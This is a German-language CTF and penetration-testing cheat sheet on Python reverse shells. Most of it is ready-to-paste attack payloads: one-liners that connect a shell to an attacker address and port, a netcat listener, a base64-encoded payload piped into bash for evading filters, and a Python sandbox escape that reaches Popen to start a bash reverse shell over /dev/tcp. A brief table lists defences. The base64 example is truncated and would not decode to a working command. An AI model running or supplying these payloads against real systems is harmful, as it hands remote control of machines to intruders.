# Python Shells

### Beispiel: Python Reverse Shell mit `socket` und `os`

```bash
python3 -c 'import socket,subprocess,os;s=socket.socket();s.connect(("10.10.14.5",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
```

Auf Angreifer-Seite:

```bash
nc -lvnp 4444
```

* Baut TCP-Verbindung zu Angreifer auf
* Leitet Ein-/Ausgabe auf Shell um
* Funktioniert auf fast allen Linux-Systemen mit Python

***

### Einleitung

Python Shells sind Reverse Shells, die in Python geschrieben sind. Sie bieten mehr Kontrolle und Stabilität als viele andere Shell-Varianten, da Python direkten Zugriff auf Netzwerk, Prozesse und Dateisystem erlaubt. Besonders in CTFs sind sie wegen ihrer Flexibilität und Kompatibilität beliebt.

***

### Wann und warum Python Shells verwenden?

**Typische Szenarien:**

* Zielsystem hat Python, aber kein Netcat oder Bash
* Du brauchst eine stabile Shell mit einfacher TTY-Integration
* Exploits, die nur kurze Befehle oder Payloads erlauben

**Vorteile:**

* Weit verbreitet (meistens vorinstalliert)
* Leicht anpassbar (Port, Protokoll, Payload-Form)
* Gut kombinierbar mit Shell Upgrade (z. B. `pty.spawn()`)

**Nachteile:**

* Kein TTY von Haus aus
* Python kann deaktiviert oder entfernt sein (minimalisierte Systeme)

***

***

### Weitere Payload-Beispiele

#### Einfache Variante (funktioniert auch mit Python 2)

```bash
python -c 'import socket,subprocess,os;s=socket.socket();s.connect(("10.10.14.5",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);subprocess.call(["/bin/sh","-i"]);'
```

#### Base64-kodiert (für LFI, Filter, SQLi)

```bash
echo 'cHl0aG9uMyAtYyAnaW1wb3J0IHNvY2tldCxzdWJwcm9jZXNzLG9zO3M9c29ja2V0Li4u' | base64 -d | bash
```

**Tipp:** Oft verwendet bei restriktiven Eingabefeldern oder Payload-Kodierung

***

### Technische Voraussetzungen

| Merkmal         | Voraussetzung                            |
| --------------- | ---------------------------------------- |
| Python-Version  | 2.6+, 3.x                                |
| Funktionen      | `socket`, `subprocess`, `os`             |
| Netzwerkzugriff | Ziel muss ausgehende Verbindung erlauben |
| Listener        | Standard TCP (z. B. Netcat)              |

***

### Shell Upgrade

Nach erfolgreicher Verbindung kann die Shell mit Python selbst verbessert werden:

```bash
python3 -c 'import pty; pty.spawn("/bin/bash")'
```

**Weitere Schritte:** siehe Shell Upgrade

***

### Sicherheit und Erkennung

| Abwehrmaßnahme                   | Wirkung                                             |
| -------------------------------- | --------------------------------------------------- |
| Entfernen von Python-Interpreter | Verhindert Ausführung vollständig                   |
| Application Whitelisting         | Nur autorisierte Skripte erlauben                   |
| IDS/IPS                          | Erkennung typischer Socket-Muster in Reverse Shells |
| Network Monitoring               | Kontrolle ausgehender Ports und IPs                 |

***

{% hint style="info" %}

### Classes durchsuchen

```
print((()).__class__.__bases__[0].__subclasses__())
```

{% endhint %}

## Popen

Wenn man zugriff auf alle Classes hat bzw. eine Übersicht, und POPEN zugelassen sit kann folgendes verwendet werden

```python
raise Exception(str((()) .__class__.__bases__[0].__subclasses__()[317](
    "bash -c 'bash -i >& /dev/tcp/your_IP/4444 0>&1'", shell=True, stdout=-1).communicate()))
```
